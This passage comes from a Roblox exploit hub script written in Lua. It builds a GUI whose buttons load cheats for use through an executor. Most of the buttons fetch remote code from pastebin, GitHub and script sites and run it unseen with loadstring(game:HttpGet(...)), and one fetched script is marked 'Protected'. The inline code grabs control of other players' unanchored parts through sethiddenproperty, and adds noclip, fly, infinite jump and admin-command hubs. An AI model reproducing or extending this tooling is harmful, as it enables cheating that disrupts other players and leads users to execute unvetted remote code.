ca:BindAction("zeezyFrontflip",zeezyFrontflip,false,FrontflipKey)
ca:BindAction("zeezyBackflip",zeezyBackflip,false,BackflipKey)
ca:BindAction("zeezyAirjump",zeezyAirjump,false,AirjumpKey)
--[[ Load Message ]]--
print(scriptname .. " " .. ver .. " loaded successfully")
print("made by Zeezy#7203")
local notifSound = Instance.new("Sound",workspace)
notifSound.PlaybackSpeed = 1.5
notifSound.Volume = 0.15
notifSound.SoundId = "rbxassetid://170765130"
notifSound.PlayOnRemove = true
notifSound:Destroy()
game.StarterGui:SetCore("SendNotification", {Title = "feFlip", Text = "feFlip loaded successfully!", Icon = "rbxassetid://505845268", Duration = 5, Button1 = "Okay"})
end,
})
local Button = MainTab:CreateButton({
Name = "fe fake wallhop script",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/ScpGuest666/Random-Roblox-script/refs/heads/main/Roblox%20WallHop%20V3%20script'))()
end,
})
local Button = MainTab:CreateButton({
Name = "egor script",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Egor-Fe-Gui-50318"))()
end,
})
local Button = MainTab:CreateButton({
Name = "zero gravity",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Zero-Gravity-28484"))()
end,
})
local Button = MainTab:CreateButton({
Name = "lalol hub (backdoor scaner)",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script"))()
end,
})
local Button = MainTab:CreateButton({
Name = "super ring script",
Callback = function()
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local SoundService = game:GetService("SoundService")
local StarterGui = game:GetService("StarterGui")
local HttpService = game:GetService("HttpService")
local LocalPlayer = Players.LocalPlayer
-- Sound Effects
local function playSound(soundId)
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. soundId
sound.Parent = SoundService
sound:Play()
sound.Ended:Connect(function()
sound:Destroy()
end)
end
-- Play initial sound
playSound("2865227271")
-- GUI Creation
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SuperRingPartsGUI"
ScreenGui.ResetOnSpawn = false
ScreenGui.Parent = LocalPlayer:WaitForChild("PlayerGui")
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 300, 0, 500)
MainFrame.Position = UDim2.new(0.5, -150, 0.5, -250)
MainFrame.BorderSizePixel = 0
MainFrame.Parent = ScreenGui
-- Make the GUI round
local UICorner = Instance.new("UICorner")
UICorner.CornerRadius = UDim.new(0, 20)
UICorner.Parent = MainFrame
local Title = Instance.new("TextLabel")
Title.Size = UDim2.new(1, 0, 0, 40)
Title.Position = UDim2.new(0, 0, 0, 0)
Title.Text = "Super Ring Parts V6 by lukas"
Title.TextColor3 = Color3.fromRGB(0, 0, 0)
Title.BackgroundColor3 = Color3.fromRGB(0, 204, 204)
Title.Font = Enum.Font.Fondamento
Title.TextSize = 22
Title.Parent = MainFrame
-- Round the title
local TitleCorner = Instance.new("UICorner")
TitleCorner.CornerRadius = UDim.new(0, 20)
TitleCorner.Parent = Title
local ToggleButton = Instance.new("TextButton")
ToggleButton.Size = UDim2.new(0.8, 0, 0, 40)
ToggleButton.Position = UDim2.new(0.1, 0, 0.1, 0)
ToggleButton.Text = "Ring Off"
ToggleButton.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
ToggleButton.TextColor3 = Color3.fromRGB(0, 0, 0)
ToggleButton.Font = Enum.Font.Fondamento
ToggleButton.TextSize = 18
ToggleButton.Parent = MainFrame
-- Round the toggle button
local ToggleCorner = Instance.new("UICorner")
ToggleCorner.CornerRadius = UDim.new(0, 10)
ToggleCorner.Parent = ToggleButton
-- Configuration table
local config = {
radius = 50,
height = 100,
rotationSpeed = 10,
attractionStrength = 1000,
}
-- Save and load functions
local function saveConfig()
local configStr = HttpService:JSONEncode(config)
writefile("SuperRingPartsConfig.txt", configStr)
end
local function loadConfig()
if isfile("SuperRingPartsConfig.txt") then
local configStr = readfile("SuperRingPartsConfig.txt")
config = HttpService:JSONDecode(configStr)
end
end
loadConfig()
-- Function to create control buttons and textboxes
local function createControl(name, positionY, color, labelText, defaultValue, callback)
local DecreaseButton = Instance.new("TextButton")
DecreaseButton.Size = UDim2.new(0.2, 0, 0, 40)
DecreaseButton.Position = UDim2.new(0.1, 0, positionY, 0)
DecreaseButton.Text = "-"
DecreaseButton.BackgroundColor3 = color
DecreaseButton.TextColor3 = Color3.fromRGB(0, 0, 0)
DecreaseButton.Font = Enum.Font.Fondamento
DecreaseButton.TextSize = 18
DecreaseButton.Parent = MainFrame
local IncreaseButton = Instance.new("TextButton")
IncreaseButton.Size = UDim2.new(0.2, 0, 0, 40)
IncreaseButton.Position = UDim2.new(0.7, 0, positionY, 0)
IncreaseButton.Text = "+"
IncreaseButton.BackgroundColor3 = color
IncreaseButton.TextColor3 = Color3.fromRGB(0, 0, 0)
IncreaseButton.Font = Enum.Font.Fondamento
IncreaseButton.TextSize = 18
IncreaseButton.Parent = MainFrame
local Display = Instance.new("TextLabel")
Display.Size = UDim2.new(0.4, 0, 0, 40)
Display.Position = UDim2.new(0.3, 0, positionY, 0)
Display.Text = labelText .. ": " .. defaultValue
Display.BackgroundColor3 = Color3.fromRGB(255, 153, 51)
Display.TextColor3 = Color3.fromRGB(0, 0, 0)
Display.Font = Enum.Font.Fondamento
Display.TextSize = 18
Display.Parent = MainFrame
-- Add TextBox for input
local TextBox = Instance.new("TextBox")
TextBox.Size = UDim2.new(0.8, 0, 0, 35)
TextBox.Position = UDim2.new(0.1, 0, positionY + 0.1, 0)
TextBox.PlaceholderText = "Enter " .. labelText
TextBox.BackgroundColor3 = Color3.fromRGB(0, 0, 255)
TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox.Font = Enum.Font.Fondamento
TextBox.TextSize = 18
TextBox.Parent = MainFrame
local TextBoxCorner = Instance.new("UICorner")
TextBoxCorner.CornerRadius = UDim.new(0, 10)
TextBoxCorner.Parent = TextBox
DecreaseButton.MouseButton1Click:Connect(function()
local value = tonumber(Display.Text:match("%d+"))
value = math.max(0, value - 10)
Display.Text = labelText .. ": " .. value
callback(value)
playSound("12221967")
saveConfig()
end)
IncreaseButton.MouseButton1Click:Connect(function()
local value = tonumber(Display.Text:match("%d+"))
value = math.min(10000, value + 10)
Display.Text = labelText .. ": " .. value
callback(value)
playSound("12221967")
saveConfig()
end)
TextBox.FocusLost:Connect(function(enterPressed)
if enterPressed then
local newValue = tonumber(TextBox.Text)
if newValue then
newValue = math.clamp(newValue, 0, 10000)
Display.Text = labelText .. ": " .. newValue
TextBox.Text = ""
callback(newValue)
playSound("12221967")
saveConfig()
else
TextBox.Text = ""
end
end
end)
end
createControl("Radius", 0.2, Color3.fromRGB(153, 153, 0), "Radius", config.radius, function(value)
config.radius = value
saveConfig()
end)
createControl("Height", 0.4, Color3.fromRGB(153, 0, 153), "Height", config.height, function(value)
config.height = value
saveConfig()
end)
createControl("RotationSpeed", 0.6, Color3.fromRGB(0, 153, 153), "Rotation Speed", config.rotationSpeed, function(value)
config.rotationSpeed = value
saveConfig()
end)
createControl("AttractionStrength", 0.8, Color3.fromRGB(153, 0, 0), "Attraction Strength", config.attractionStrength, function(value)
config.attractionStrength = value
saveConfig()
end)
-- Add minimize button
local MinimizeButton = Instance.new("TextButton")
MinimizeButton.Size = UDim2.new(0, 30, 0, 30)
MinimizeButton.Position = UDim2.new(1, -35, 0, 5)
MinimizeButton.Text = "-"
MinimizeButton.BackgroundColor3 = Color3.fromRGB(255, 255, 0)
MinimizeButton.TextColor3 = Color3.fromRGB(0, 0, 0)
MinimizeButton.Font = Enum.Font.Fondamento
MinimizeButton.TextSize = 15
MinimizeButton.Parent = MainFrame
-- Round the minimize button
local MinimizeCorner = Instance.new("UICorner")
MinimizeCorner.CornerRadius = UDim.new(0, 15)
MinimizeCorner.Parent = MinimizeButton
-- Minimize functionality
local minimized = false
MinimizeButton.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized then
MainFrame:TweenSize(UDim2.new(0, 300, 0, 40), "Out", "Quad", 0.3, true)
MinimizeButton.Text = "+"
for _, child in pairs(MainFrame:GetChildren()) do
if child:IsA("GuiObject") and child ~= Title and child ~= MinimizeButton then
child.Visible = false
end
end
else
MainFrame:TweenSize(UDim2.new(0, 300, 0, 500), "Out", "Quad", 0.3, true)
MinimizeButton.Text = "-"
for _, child in pairs(MainFrame:GetChildren()) do
if child:IsA("GuiObject") then
child.Visible = true
end
end
end
playSound("12221967")
end)
-- Make GUI draggable
local dragging
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = MainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
MainFrame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
-- Ring Parts Claim
local Workspace = game:GetService("Workspace")
local character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
local Folder = Instance.new("Folder", Workspace)
local Part = Instance.new("Part", Folder)
local Attachment1 = Instance.new("Attachment", Part)
Part.Anchored = true
Part.CanCollide = false
Part.Transparency = 1
if not getgenv().Network then
getgenv().Network = {
BaseParts = {},
Velocity = Vector3.new(14.46262424, 14.46262424, 14.46262424)
}
Network.RetainPart = function(Part)
if typeof(Part) == "Instance" and Part:IsA("BasePart") and Part:IsDescendantOf(Workspace) then
table.insert(Network.BaseParts, Part)
Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
Part.CanCollide = false
end
end
local function EnablePartControl()
LocalPlayer.ReplicationFocus = Workspace
RunService.Heartbeat:Connect(function()
sethiddenproperty(LocalPlayer, "SimulationRadius", math.huge)
for _, Part in pairs(Network.BaseParts) do
if Part:IsDescendantOf(Workspace) then
Part.Velocity = Network.Velocity
end
end
end)
end
EnablePartControl()
end
local function ForcePart(v)
if v:IsA("Part") and not v.Anchored and not v.Parent:FindFirstChild("Humanoid") and not v.Parent:FindFirstChild("Head") and v.Name ~= "Handle" then
for _, x in next, v:GetChildren() do
if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then
x:Destroy()
end
end
if v:FindFirstChild("Attachment") then
v:FindFirstChild("Attachment"):Destroy()
end
if v:FindFirstChild("AlignPosition") then
v:FindFirstChild("AlignPosition"):Destroy()
end
if v:FindFirstChild("Torque") then
v:FindFirstChild("Torque"):Destroy()
end
v.CanCollide = false
local Torque = Instance.new("Torque", v)
Torque.Torque = Vector3.new(100000, 100000, 100000)
local AlignPosition = Instance.new("AlignPosition", v)
local Attachment2 = Instance.new("Attachment", v)
Torque.Attachment0 = Attachment2
AlignPosition.MaxForce = 9999999999999999999999999999999
AlignPosition.MaxVelocity = math.huge
AlignPosition.Responsiveness = 200
AlignPosition.Attachment0 = Attachment2
AlignPosition.Attachment1 = Attachment1
end
end
-- Edits
local ringPartsEnabled = false
local function RetainPart(Part)
if Part:IsA("BasePart") and not Part.Anchored and Part:IsDescendantOf(workspace) then
if Part.Parent == LocalPlayer.Character or Part:IsDescendantOf(LocalPlayer.Character) then
return false
end
Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
Part.CanCollide = false
return true
end
return false
end
local parts = {}
local function addPart(part)
if RetainPart(part) then
if not table.find(parts, part) then
table.insert(parts, part)
end
end
end
local function removePart(part)
local index = table.find(parts, part)
if index then
table.remove(parts, index)
end
end
for _, part in pairs(workspace:GetDescendants()) do
addPart(part)
end
workspace.DescendantAdded:Connect(addPart)
workspace.DescendantRemoving:Connect(removePart)
RunService.Heartbeat:Connect(function()
if not ringPartsEnabled then return end
local humanoidRootPart = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
local tornadoCenter = humanoidRootPart.Position
for _, part in pairs(parts) do
if part.Parent and not part.Anchored then
local pos = part.Position
local distance = (Vector3.new(pos.X, tornadoCenter.Y, pos.Z) - tornadoCenter).Magnitude
local angle = math.atan2(pos.Z - tornadoCenter.Z, pos.X - tornadoCenter.X)
local newAngle = angle + math.rad(config.rotationSpeed)
local targetPos = Vector3.new(
tornadoCenter.X + math.cos(newAngle) * math.min(config.radius, distance),
tornadoCenter.Y + (config.height * (math.abs(math.sin((pos.Y - tornadoCenter.Y) / config.height)))),
tornadoCenter.Z + math.sin(newAngle) * math.min(config.radius, distance)
)
local directionToTarget = (targetPos - part.Position).unit
part.Velocity = directionToTarget * config.attractionStrength
end
end
end
end)
-- Button functionality
ToggleButton.MouseButton1Click:Connect(function()
ringPartsEnabled = not ringPartsEnabled
ToggleButton.Text = ringPartsEnabled and "Tornado On" or "Tornado Off"
ToggleButton.BackgroundColor3 = ringPartsEnabled and Color3.fromRGB(50, 205, 50) or Color3.fromRGB(160, 82, 45)
playSound("12221967")
end)
-- Get player thumbnail
local userId = Players:GetUserIdFromNameAsync("Robloxlukasgames")
local thumbType = Enum.ThumbnailType.HeadShot
local thumbSize = Enum.ThumbnailSize.Size420x420
local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
StarterGui:SetCore("SendNotification", {
Title = "Hey",
Text = "Enjoy the Script!",
Icon = content,
Duration = 5
})
StarterGui:SetCore("SendNotification", {
Title = "TIPS",
Text = "Click Textbox To edit Any of them",
Icon = content,
Duration = 5
})
StarterGui:SetCore("SendNotification", {
Title = "Credits",
Text = "On scriptblox!",
Icon = content,
Duration = 5
})
-- Rainbow Background Effect
local hue = 0
RunService.Heartbeat:Connect(function()
hue = (hue + 0.01) % 1
MainFrame.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)
end)
-- Rainbow TextLabel
local textHue = 0
RunService.Heartbeat:Connect(function()
textHue = (textHue + 0.01) % 1
Title.TextColor3 = Color3.fromHSV(textHue, 1, 1)
end)
-- fly gui
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "Fly gui"
TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,255)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(1,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "Fly Gui"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/YSL3xKYU'))()
end)
-- no fall damage
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "no fall damage"
TextButton1.BackgroundColor3 = Color3.fromRGB(255,0,0)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(0.9,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "No fall Damage"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
-- No Fall Damage by Pio (Discord: piomanly or ID: 311397526399877122) --
local runsvc = game:GetService("RunService")
local heartbeat = runsvc.Heartbeat
local rstepped = runsvc.RenderStepped
local lp = game.Players.LocalPlayer
local novel = Vector3.zero
local function nofalldamage(chr)
local root = chr:WaitForChild("HumanoidRootPart")
if root then
local con
con = heartbeat:Connect(function()
if not root.Parent then
con:Disconnect()
end
local oldvel = root.AssemblyLinearVelocity
root.AssemblyLinearVelocity = novel
rstepped:Wait()
root.AssemblyLinearVelocity = oldvel
end)
end
end
nofalldamage(lp.Character)
lp.CharacterAdded:Connect(nofalldamage)
end)
-- noclip
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "noclip"
TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(0.8,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "Noclip"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
local Noclip = nil
local Clip = nil
function noclip()
Clip = false
local function Nocl()
if Clip == false and game.Players.LocalPlayer.Character ~= nil then
for _,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if v:IsA('BasePart') and v.CanCollide and v.Name ~= floatName then
v.CanCollide = false
end
end
end
wait(0.21) -- basic optimization
end
Noclip = game:GetService('RunService').Stepped:Connect(Nocl)
end
function clip()
if Noclip then Noclip:Disconnect() end
Clip = true
end
noclip() -- to toggle noclip() and clip()
end)
-- Inf jump
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "Inf jump"
TextButton1.BackgroundColor3 = Color3.fromRGB(0,255,0)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(0.7,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "Inf jump"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
local InfiniteJumpEnabled = true game:GetService("UserInputService").JumpRequest:connect(function() if InfiniteJumpEnabled then game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end)
end)
-- Inf yield
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "Inf yield"
TextButton1.BackgroundColor3 = Color3.fromRGB(0,255,255)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(0.6,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "Inf yield"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
end)
-- nameless admin
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "nameless admin"
TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(0.5,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "NAMELESS"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-Nameless-Admin-FE-11243"))()
end)
-- fps
local TextButton1 = Instance.new("TextButton")
TextButton1.Parent = MainFrame
TextButton1.Name = "FPS"
TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0)
TextButton1.BackgroundTransparency = 0
TextButton1.BorderSizePixel = 1
TextButton1.BorderColor3 = Color3.fromRGB(17,17,17)
TextButton1.Position = UDim2.new(0.4,0,1)
TextButton1.Size = UDim2.new(0.08,0,0.1)
TextButton1.Font = Enum.Font.Legacy
TextButton1.TextColor3 = Color3.fromRGB(242,243,243)
TextButton1.Text = "FPS"
TextButton1.TextSize = 18
TextButton1.TextScaled = true
TextButton1.TextWrapped = true
TextButton1.Visible = true
TextButton1.Active = true
TextButton1.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/ySHJdZpb",true))()
end)
end,
})
local Button = MainTab:CreateButton({
Name = "mm2 hub",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Murder-Mystery-2-Vynixu-MM2-6344"))()
end,
})
local Button = MainTab:CreateButton({
Name = "infinite yield",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
end,
})
local Button = MainTab:CreateButton({
Name = "dandys world hub",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Dandy's-World-ALPHA-G0bbyD0llan-DW-Reupload-34146"))()
end,
})
local Button = MainTab:CreateButton({
Name = "telekinesis v5",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Fe-Telekinesis-V5-21542"))()
end,
})
local Button = MainTab:CreateButton({
Name = "ak47 script r6",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/sinret/rbxscript.com-scripts-reuploads-/main/ak47", true))()
end,
})
local Button = MainTab:CreateButton({
Name = "fe polaria script",
Callback = function()
loadstring(game:HttpGet("https://pastefy.app/JmaD2ivk/raw"))()
end,
})
local Button = MainTab:CreateButton({
Name = "invincile fly r6",
Callback = function()
local savedSpeed = 50
local function gui()
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local HRP = character:WaitForChild("HumanoidRootPart")
local Camera = workspace.CurrentCamera
local baseSpeed = savedSpeed
local flySpeed = baseSpeed
local flying = false
local forwardHold = 0
local inputFlags = { forward = false, back = false, left = false, right = false, up = false, down = false }
local bodyVelocity = Instance.new("BodyVelocity")
bodyVelocity.MaxForce = Vector3.new(1e5, 1e5, 1e5)
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "FlyScreenGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local toggleButton = Instance.new("TextButton")
toggleButton.Name = "ToggleFlyButton"
toggleButton.Text = "Fly OFF"
toggleButton.Size = UDim2.new(0, 100, 0, 50)
toggleButton.Position = UDim2.new(1, -220, 0, 10)
toggleButton.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
toggleButton.TextColor3 = Color3.fromRGB(255, 255, 255)
toggleButton.Font = Enum.Font.GothamBold
toggleButton.TextScaled = true
toggleButton.BackgroundTransparency = 0.2
toggleButton.Parent = screenGui
local speedBox = Instance.new("TextBox")
speedBox.Name = "SpeedBox"
speedBox.Text = tostring(baseSpeed)
speedBox.Size = UDim2.new(0, 100, 0, 50)
speedBox.Position = UDim2.new(1, -110, 0, 10)
speedBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
speedBox.TextColor3 = Color3.fromRGB(255, 255, 255)
speedBox.Font = Enum.Font.GothamBold
speedBox.TextScaled = true
speedBox.BackgroundTransparency = 0.2
speedBox.Parent = screenGui
local function newAnim(id)
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://" .. id
return anim
end
local animations = {
forward = newAnim(90872539),
up = newAnim(90872539),
right1 = newAnim(136801964),
right2 = newAnim(142495255),
left1 = newAnim(136801964),
left2 = newAnim(142495255),
flyLow1 = newAnim(97169019),
flyLow2 = newAnim(282574440),
flyFast = newAnim(282574440),
back1 = newAnim(136801964),
back2 = newAnim(106772613),
back3 = newAnim(42070810),
back4 = newAnim(214744412),
down = newAnim(233322916),
idle1 = newAnim(97171309)
}
local tracks = {}
for name, anim in pairs(animations) do
tracks[name] = humanoid:LoadAnimation(anim)
end
local function stopAll()
for _, track in pairs(tracks) do
track:Stop()
end
end
local function startFlying()
flying = true
forwardHold = 0
flySpeed = baseSpeed
bodyVelocity.Parent = HRP
bodyGyro.Parent = HRP
humanoid.PlatformStand = true
end
local function stopFlying()
flying = false
bodyVelocity.Parent = nil
bodyGyro.Parent = nil
humanoid.PlatformStand = false
stopAll()
end
toggleButton.MouseButton1Click:Connect(function()
if flying then
stopFlying()
toggleButton.Text = "Fly OFF"
else
startFlying()
toggleButton.Text = "Fly ON"
end
end)
speedBox.FocusLost:Connect(function()
local num = tonumber(speedBox.Text)
if num and num > 0 then
baseSpeed = num
savedSpeed = num
if flying then flySpeed = baseSpeed end
else
speedBox.Text = tostring(baseSpeed)
end
end)
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = true end
if input.KeyCode == Enum.KeyCode.S then inputFlags.back = true end
if input.KeyCode == Enum.KeyCode.A then inputFlags.left = true end
if input.KeyCode == Enum.KeyCode.D then inputFlags.right = true end
if input.KeyCode == Enum.KeyCode.E then inputFlags.up = true end
if input.KeyCode == Enum.KeyCode.Q then inputFlags.down = true end
end)
UserInputService.InputEnded:Connect(function(input)
if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = false end
if input.KeyCode == Enum.KeyCode.S then inputFlags.back = false end
if input.KeyCode == Enum.KeyCode.A then inputFlags.left = false end
if input.KeyCode == Enum.KeyCode.D then inputFlags.right = false end
if input.KeyCode == Enum.KeyCode.E then inputFlags.up = false end
if input.KeyCode == Enum.KeyCode.Q then inputFlags.down = false end
end)
RunService.RenderStepped:Connect(function(dt)
if not flying then return end
if not inputFlags.forward then forwardHold = 0 end
local dir = Vector3.zero
local camCF = Camera.CFrame
if inputFlags.forward then dir += camCF.LookVector end
if inputFlags.back then dir -= camCF.LookVector end
if inputFlags.left then dir -= camCF.RightVector end
if inputFlags.right then dir += camCF.RightVector end
if inputFlags.up then dir += Vector3.yAxis end
if inputFlags.down then dir -= Vector3.yAxis end
if dir.Magnitude > 0 then dir = dir.Unit end
bodyVelocity.Velocity = dir * flySpeed
bodyGyro.CFrame = camCF
-- Animation Logic
if inputFlags.up then
if not tracks.up.IsPlaying then stopAll(); tracks.up:Play() end
elseif inputFlags.down then
if not tracks.down.IsPlaying then stopAll(); tracks.down:Play() end
elseif inputFlags.left then
if not tracks.left1.IsPlaying then
stopAll()
tracks.left1:Play(); tracks.left1.TimePosition = 2.0; tracks.left1:AdjustSpeed(0)
tracks.left2:Play(); tracks.left2.TimePosition = 0.5; tracks.left2:AdjustSpeed(0)
end
elseif inputFlags.right then
if not tracks.right1.IsPlaying then
stopAll()
tracks.right1:Play(); tracks.right1.TimePosition = 1.1; tracks.right1:AdjustSpeed(0)
tracks.right2:Play(); tracks.right2.TimePosition = 0.5; tracks.right2:AdjustSpeed(0)
end
elseif inputFlags.back then
if not tracks.back1.IsPlaying then
stopAll()
tracks.back1:Play(); tracks.back1.TimePosition = 5.3; tracks.back1:AdjustSpeed(0)
tracks.back2:Play(); tracks.back2:AdjustSpeed(0)
tracks.back3:Play(); tracks.back3.TimePosition = 0.8; tracks.back3:AdjustSpeed(0)
tracks.back4:Play(); tracks.back4.TimePosition = 1; tracks.back4:AdjustSpeed(0)
end
elseif inputFlags.forward then
forwardHold += dt
if forwardHold >= 3 then
if not tracks.flyFast.IsPlaying then
stopAll()
flySpeed = baseSpeed * 1.3
tracks.flyFast:Play(); tracks.flyFast:AdjustSpeed(0.05)
end
else
if not tracks.flyLow1.IsPlaying then
stopAll()
flySpeed = baseSpeed
tracks.flyLow1:Play()
tracks.flyLow2:Play()
end
end
else
if not tracks.idle1.IsPlaying then
stopAll()
tracks.idle1:Play(); tracks.idle1:AdjustSpeed(0)
end
end
end)
end
gui()
end,
})
local Button = MainTab:CreateButton({
Name = "fe fake lag",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/w6PfESuz"))()
end,
})
local Button = MainTab:CreateButton({
Name = "Natural Disaster Survival script",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Codexxscripts/Script/refs/heads/main/Protected_7867058958573066.lua.txt"))()
end,
})
local Button = MainTab:CreateButton({
Name = "prisonlife script",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/main/Prison%20Life%20GUI'))()
end,
})
local Button = MainTab:CreateButton({
Name = "rivals script",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/refs/heads/main/Rivals%20GUI'))()
end,
})
